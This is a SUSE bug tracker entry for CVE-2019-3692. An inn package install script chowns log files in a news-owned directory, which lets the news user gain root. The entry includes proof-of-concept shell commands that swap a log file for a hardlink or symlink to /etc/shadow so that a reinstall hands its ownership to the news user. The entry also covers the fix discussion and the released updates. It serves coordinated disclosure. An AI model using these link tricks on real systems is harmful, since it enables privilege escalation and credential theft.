Bug 1154302 (CVE-2019-3692) - VUL-0: CVE-2019-3692: inn: LPE from news to root
Summary: VUL-0: CVE-2019-3692: inn: LPE from news to root
Status: RESOLVED FIXED
Alias: CVE-2019-3692
Product: SUSE Security Incidents
Classification: Novell Products
Component: Audits (show other bugs)
Version: unspecified
Hardware: Other Other
: P3 - Medium : Normal
Target Milestone: ---
Assignee: Michael Schröder
QA Contact: Security Team bot
URL: https://smash.suse.de/issue/245797/
Whiteboard: CVSSv3:SUSE:CVE-2019-3692:7.0:(AV:L/A...
Keywords:
Depends on:
Blocks: 1154062
  Show dependency tree / graph
 
Reported: 2019-10-17 09:47 UTC by Johannes Segitz
Modified: 2020-07-21 08:17 UTC (History)
1 user (show)

See Also:
Found By: ---
Services Priority:
Business Priority:
Blocker: ---
Marketing QA Status: ---
IT Deployment: ---

Attachments
Add an attachment (proposed patch, testcase, etc.)

Note You need to log in before you can comment on or make changes to this bug.
Description Johannes Segitz 2019-10-17 09:47:50 UTC 
259 %post
260 mkdir -p var/log/news
261 touch var/log/news/news.notice
262 touch var/log/news/news.err
263 touch var/log/news/news.crit
264 touch var/log/news/news
265 touch var/log/news/inn.status
266 touch var/log/news/innfeed.status
267 chown news:news var/log/news/news.notice var/log/news/news.err var/log/news/news.crit var/log/news/news var/log/news/inn.status var/log/news/innfeed.status

allows LPE from news user to root on systems with fs.protected_hardlinks=0

POC:
sh-5.0$ id
uid=9(news) gid=13(news) groups=13(news)
sh-5.0$ pwd
/var/log/news
sh-5.0$ rm innfeed.status
sh-5.0$ ln /etc/shadow innfeed.status

as root: zypper in -f inn
ls -lah /etc/shadow
-rw-r----- 3 news news 1.6K Oct 17 11:43 /etc/shadow
Comment 1 Michael Schröder 2019-10-17 10:00:41 UTC 
Good catch! Is it sufficient to just use chown -h?
Comment 2 Johannes Segitz 2019-10-25 11:26:25 UTC 
Works also with symlinks.
sh-5.0$ id
uid=9(news) gid=13(news) groups=13(news)
sh-5.0$ pwd
/var/log/news
sh-5.0$ rm news
sh-5.0$ ln -s /test/shadow news
sh-5.0$ ls -l /test/shadow
-r-------- 1 root root 1228 Oct 25 11:13 /test/shadow

reinstall inn

sh-5.0$ ls -l /test/shadow
-r-------- 1 news news 1228 Oct 25 13:17 /test/shadow

Please use CVE-2019-3692 to track this. Can be made public at any time.

chown -h helps to prevent the easy exploit with symlinks. If fs.protected_hardlinks=0 is set an attacker can use hardlinks to trick chown.

Since /var/log/news belongs to news you can use runuser as news to touch the log files, no need to chown them later with that
Comment 4 Michael Schröder 2020-01-24 16:15:22 UTC 
Ok. Done.
Comment 5 Michael Schröder 2020-01-24 16:16:15 UTC 
Do we also need a fix for SLE11?
Comment 6 Swamp Workflow Management 2020-01-24 16:52:10 UTC 
This is an autogenerated message for OBS integration:
This bug (1154302) was mentioned in
https://build.opensuse.org/request/show/766966 15.1 / inn
Comment 9 Swamp Workflow Management 2020-02-19 23:12:00 UTC 
openSUSE-SU-2020:0234-1: An update that fixes one vulnerability is now available.

Category: security (moderate)
Bug References: 1154302
CVE References: CVE-2019-3692
Sources used:
openSUSE Leap 15.1 (src):    inn-2.5.4-lp151.3.3.1
Comment 10 Swamp Workflow Management 2020-02-24 23:11:47 UTC 
openSUSE-SU-2020:0242-1: An update that fixes one vulnerability is now available.

Category: security (moderate)
Bug References: 1154302
CVE References: CVE-2019-3692
Sources used:
openSUSE Backports SLE-15-SP1 (src):    inn-2.5.4-bp151.4.3.1
Comment 11 Johannes Segitz 2020-07-20 12:30:30 UTC 
fixed, thanks for the submits